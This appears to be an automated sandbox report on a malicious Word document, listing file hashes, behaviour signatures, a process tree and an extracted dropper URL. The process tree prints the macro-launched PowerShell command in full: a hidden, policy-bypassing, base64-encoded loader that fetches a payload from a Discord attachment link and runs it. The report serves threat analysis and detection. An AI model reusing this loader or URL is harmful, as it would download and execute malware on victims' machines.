Resubmissions

14-10-2021 18:15

211014-wvyn9sahbr 10

14-10-2021 17:51

211014-wfggfaahaj 10

14-10-2021 17:48

211014-wdmwfaaag5 10

Analysis

  • max time kernel
    119s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-en-20211014
  • submitted
    14-10-2021 17:51

General

  • Target

    BIlls-8172135.doc

  • Size

    43KB

  • MD5

    12489be76fc04c1226707d1029f834a8

  • SHA1

    6aedf03afe4e5b7cb220d8541473243a9bd17179

  • SHA256

    ccff267f5824ca8d8480b9050ff631681b3d7a0817241374cfa65fc7a3b58476

  • SHA512

    1a7d7ddbc7f6da7e448ce83af6a3802c8e57bf1da8fe51e494e52c143ebda3759b0fbe044e1ecc394b02e3c7cba803ae2156dc781bb4242402bb8e58e55ee79b

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.discordapp.com/attachments/851105085270523917/895674622702399538/Server.txt

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\BIlls-8172135.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1700
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:652
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ""C:\Users\Public\Documents\mosad.bat" "
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:1480
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          poweRSheLL.eXe -executIonPOLIcY ByPaSs -nOProfILe -WIndoWSTYLe HiDdeN -E JABTAFoAWABEAEMARgBWAEcAQgBIAE4ASgBTAEQARgBHAEgAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwA4ADUAMQAxADAANQAwADgANQAyADcAMAA1ADIAMwA5ADEANwAvADgAOQA1ADYANwA0ADYAMgAyADcAMAAyADMAOQA5ADUAMwA4AC8AUwBlAHIAdgBlAHIALgB0AHgAdAAnADsADQAKACQARQBEAFIARgBHAEgATgBKAE0ASwBEAEUARgBHAEgASgAgAD0AIAAnAG4ARQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAEUAYgBDACsAKwArACsAKwArACsAKwArACsAKwArACsAKwArACsAVAAnAC4AUgBlAHAAbABhAGMAZQAoACcALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAnACwAJwB0AC4AVwAnACkALgBSAGUAcABsAGEAYwBlACgAJwArACsAKwArACsAKwArACsAKwArACsAKwArACsAKwArACcALAAnAGwASQBFAE4AJwApADsADQAKACQAUwBYAEQAQwBGAFYARwBCAEgATgBKAFgARABDAEYAVgBHAEIASABKAEsAIAA9ACAAJwBEAE8AKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgBhAEQAUwBUADwAPAA8ADwAPAA8ADwAPAA8AD4APgA+AD4APgA+AD4APgA+AD4APgBHACcALgBSAGUAcABsAGEAYwBlACgAJwAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACcALAAnAFcAbgBMAG8AJwApAC4AUgBlAHAAbABhAGMAZQAoACcAPAA8ADwAPAA8ADwAPAA8ADwAPgA+AD4APgA+AD4APgA+AD4APgA+ACcALAAnAHIASQBuACcAKQA7AA0ACgAkAFMAVwBYAEQARQBDAFIARgBHAFkASABVAEoASQBTAEQARgBWAEcASABKACAAPQAnAEkAYABFAFgAKABuAGAALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQBgAGMAYABUACAAJABFAEQAUgBGAEcASABOAEoATQBLAEQAPAA8ADwAPAA8ADwAPAA8ADwAPAA8ADwAPAA8AD4APgA+AD4APgA+AD4APgA+AD4APgA+AD4APgBHAEIASABOAEoAUwBEAEYARwBIACkAJwAuAFIAZQBwAGwAYQBjAGUAKAAnAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0AJwAsACcAZQBgAFcAYAAtAE8AYgBqAGAARQAnACkALgBSAGUAcABsAGEAYwBlACgAJwA8ADwAPAA8ADwAPAA8ADwAPAA8ADwAPAA8ADwAPgA+AD4APgA+AD4APgA+AD4APgA+AD4APgA+ACcALAAnAEUARgBHAEgASgApAC4AJABTAFgARABDAEYAVgBHAEIASABOAEoAWABEAEMARgBWAEcAQgBIAEoASwAoACQAUwBaAFgARABDAEYAVgAnACkAOwANAAoAJgAoACcASQAnACsAJwBFAFgAJwApACgAJABTAFcAWABEAEUAQwBSAEYARwBZAEgAVQBKAEkAUwBEAEYAVgBHAEgASgAgAC0ASgBvAGkAbgAgACcAJwApAHwAJgAoACcASQAnACsAJwBFAFgAJwApADsA"
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:640

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    1
    T1112

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Public\Documents\mosad.bat
      MD5

      a685d75068195fb660a916c72d1ffbcc

      SHA1

      7444ec315ba2439a0388415074667739323541c6

      SHA256

      cc5a024786036aa094718ecc292f781bceed4cd6636885f4eec0ba285bd24570

      SHA512

      ba66ecea4e5179be1b8670d3e14cf6cfafe6b98b7b0527c79398c3adc026bb82e38284392f712499cbf2cd6afe4325844a244662f129df3767a2cb7c88b62397

    • memory/640-62-0x0000000000000000-mapping.dmp
    • memory/640-64-0x0000000002240000-0x0000000002E8A000-memory.dmp
      Filesize

      12.3MB

    • memory/652-58-0x0000000000000000-mapping.dmp
    • memory/652-59-0x000007FEFC371000-0x000007FEFC373000-memory.dmp
      Filesize

      8KB

    • memory/1480-60-0x0000000000000000-mapping.dmp
    • memory/1700-54-0x0000000072E61000-0x0000000072E64000-memory.dmp
      Filesize

      12KB

    • memory/1700-55-0x00000000708E1000-0x00000000708E3000-memory.dmp
      Filesize

      8KB

    • memory/1700-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1700-57-0x0000000075BA1000-0x0000000075BA3000-memory.dmp
      Filesize

      8KB